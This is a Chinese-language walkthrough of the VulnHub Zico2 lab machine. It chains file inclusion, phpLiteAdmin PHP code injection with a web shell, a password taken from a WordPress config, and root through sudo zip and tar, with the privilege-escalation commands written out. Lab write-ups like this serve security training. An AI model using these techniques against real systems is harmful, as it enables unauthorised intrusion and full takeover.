前言
下载地址:https://www.vulnhub.com/entry/zico2-1,210/
KALI地址:192.168.1.18
靶机地址:192.168.1.29
靶机描述如下
Description
Back to the Top
Zico’s Shop: A Boot2Root Machine intended to simulate a real world cenario
Disclaimer:
By using this virtual machine, you agree that in no event will I be liable for any loss or damage including without limitation, indirect or consequential loss or damage, or any loss or damage whatsoever arising from loss of data or profits arising out of or in connection with the use of this software.
TL;DR - You are about to load up a virtual machine with vulnerabilities. If something bad happens, it’s not my fault.
Level: Intermediate
Goal: Get root and read the flag file
Description:
Zico is trying to build his website but is having some trouble in choosing what CMS to use. After some tries on a few popular ones, he decided to build his own. Was that a good idea?
Hint: Enumerate, enumerate, and enumerate!
Thanks to: VulnHub
Author: Rafael (@rafasantos5)
Doesn’t work with VMware. Virtualbox only.
一.信息收集
1.主机发现
使用命令如下
netdiscover -r 192.168.1.18
发现了靶机地址,红色箭头所示
2.主机扫描
使用命令如下,先进行简单的扫描
nmap -sV 192.168.1.29
发现有了一些基本信息,但是感觉还是不够详细,这里看出的信息是开放了80,22,111
端口
详细一点的扫描,使用命令如下
nmap -A -T4 -O -p 0-65535 192.168.1.29
发现大致相同,多了一个41312
的端口
3.目录扫描
前面nmap扫描发现了开放了80端口那么直接对靶机进行目录扫描,使用命令如下
dirb http://192.168.1.29
如下图,看名字就感觉红色箭头奇怪。
二.漏洞利用
1.文件包含
在上述信息过程中还包括了,网页漏洞挖掘,和网页源代码查询,最终在网页首先的下面发现了CHECK THEM OUT!
的字样,如下图红色箭头,很难不想象是文件包含。
经过测试,包含了/etc/passwd
文件,发现确实有这个漏洞,并且发现了zico
用户,如下图。
2.CMS漏洞
经过上面信息收集目录扫描,发现了一个dbadmin
的目录,然后里面有一个php文件,打开叫我们输入密码,如下图,经过弱密码测试,密码密码是admin
。
进去之后也不知道干嘛,只能看看这个有啥漏洞了,在kali使用命令如下。
searchsploit phpliteadmin
发现查找到了东西,如下图,发现有远程代码执行漏洞。
既然发现了有远程代码执行漏洞,那就直接看文档怎么利用了,使用命令把文档拷贝到桌面上查看,命令如下。
cp /usr/share/exploitdb/exploits/php/webapps/24044.txt /root/Desktop
如下图,照着利用就好了,但是。。。emmmm,看不懂咋办。
下面是谷歌翻译的结果,然后我直接把翻译结果放下面了。
# 漏洞利用标题:phpliteadmin <= 1.9.3 远程 PHP 代码注入漏洞
# Google Dork: inurl:phpliteadmin.php (默认密码: admin)
# 日期:2013 年 1 月 10 日
# 漏洞利用作者:L@usch - http://la.usch.io - http://la.usch.io/files/exploits/phpliteadmin-1.9.3.txt
# 供应商主页:http://code.google.com/p/phpliteadmin/
# 供应商状态:通知
# 软件链接:http://phpliteadmin.googlecode.com/files/phpliteadmin_v1-9-3.zip
# 版本:1.9.3
# 测试环境:Windows 和 Linux
描述:
phpliteadmin.php#1784: '创建一个新数据库' =>
phpliteadmin.php#1785: '当你创建一个新数据库时,如果你自己没有包含它,你输入的名称将附加适当的文件扩展名(.db、.db3、.sqlite 等)。数据库将在您指定为 $directory 变量的目录中创建。',
攻击者可以创建一个带有 php 扩展名的 sqlite 数据库,并将 PHP 代码作为文本字段插入。完成后,攻击者只需使用 Web 浏览器访问数据库文件即可执行它。
概念证明:
1.我们创建一个名为“hack.php”的数据库。
(取决于服务器配置,有时它不起作用,数据库的名称将是“hack.sqlite”。然后只需尝试将数据库/现有数据库重命名为“hack.php”。)
该脚本会将 sqlite 数据库存储在与 phpliteadmin.php 相同的目录中。
预览:http://goo.gl/B5n9O
十六进制预览:http://goo.gl/lJ5iQ
2. 现在在这个数据库中创建一个新表并插入一个具有默认值的文本字段:
<?php phpinfo()?>
十六进制预览:http://goo.gl/v7USQ
3. 现在我们运行 hack.php
完毕!
证明:http://goo.gl/ZqPVL
OK,这下大概晓得了,先创建一个.php的数据库,然后在表里面写入php代码内容即可,跟着下面图片操作即可。
上面的操作,创建一个叫做hack.php的数据库然后创建了一个hack表,现在我们需要往里面写东西,如下图,这里写入的是phpinfo来验证是否可以显现出来。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-siE81Akq-1648090130614)(/images/wordimage/2022/0323/phpinfo.png)]
因为上面创建数据库都显示了路径了,思路是用上面发现的文件包含漏洞,来包含我们创建的数据库php,如下图操作包含成功,能显示出来。
既然可以这样了,那么思路来了,我们是否可以写入一句话木马,或者反弹shell。
3.写入一句话木马
如下图,写入了一句话木马。
然后通过蚁剑连接,如下图结果,是可以的。
三.提权
我们现在地权限进入了系统,剩下的就需要提权了,老样子先查看,home目录下面有什么东西,如下图,发现了wordpress。
然后查看了一下wordpress的数据库配置文件/wp-config.php
,如下图,然后发现用户是zico,因为上面查看passwd下面的文件的时候,发现有zico用户很难不会把这两个东西联想在一起。
用户:zico
密码:sWfCsfJSPV9H3AmQzw8
可以尝试一下ssh连接,如下图可以成功连接进去!
然后这里尝试切换到root用户,发现不可行,如下图。
切换思路,查看现在这个用户有sudo啥权限,使用命令如下
sudo -l
发现可以使用zip和tar命令是root权限执行,如下图,意思是可以使用zip和tar提权。
1.zip提权
大概就是把一个文件zip打包的时候执行命令,可以看这个文章👉ZIP提权,如下操作步骤
zico@zico:~$ touch 1
zico@zico:~$ sudo zip 1.zip 1 -T --unzip-command="sh -c /bin/bash"
adding: 1 (stored 0%)
root@zico:~# id
uid=0(root) gid=0(root) groups=0(root)
root@zico:~# whoami
root
如下图操作结果,成功提权到了root用户。
2.tar提权
意思和上面zip差不多一样需要代码参数--checkpoint
和--checkpoint-action
来执行命令,但是并没有打包因为使用了/dev/null
。
zico@zico:~$ touch 1
zico@zico:~$
zico@zico:~$ sudo tar cf /dev/null 1 --checkpoint=1 --checkpoint-action=exec=/bin/bash
root@zico:~# id
uid=0(root) gid=0(root) groups=0(root)
root@zico:~#
如下图结果,成功切换到root权限。
然后查看flag就可以完事了,如下图flag。
四.总结
对于我来说的话需要注意的是提权操作,这个算是新玩意了。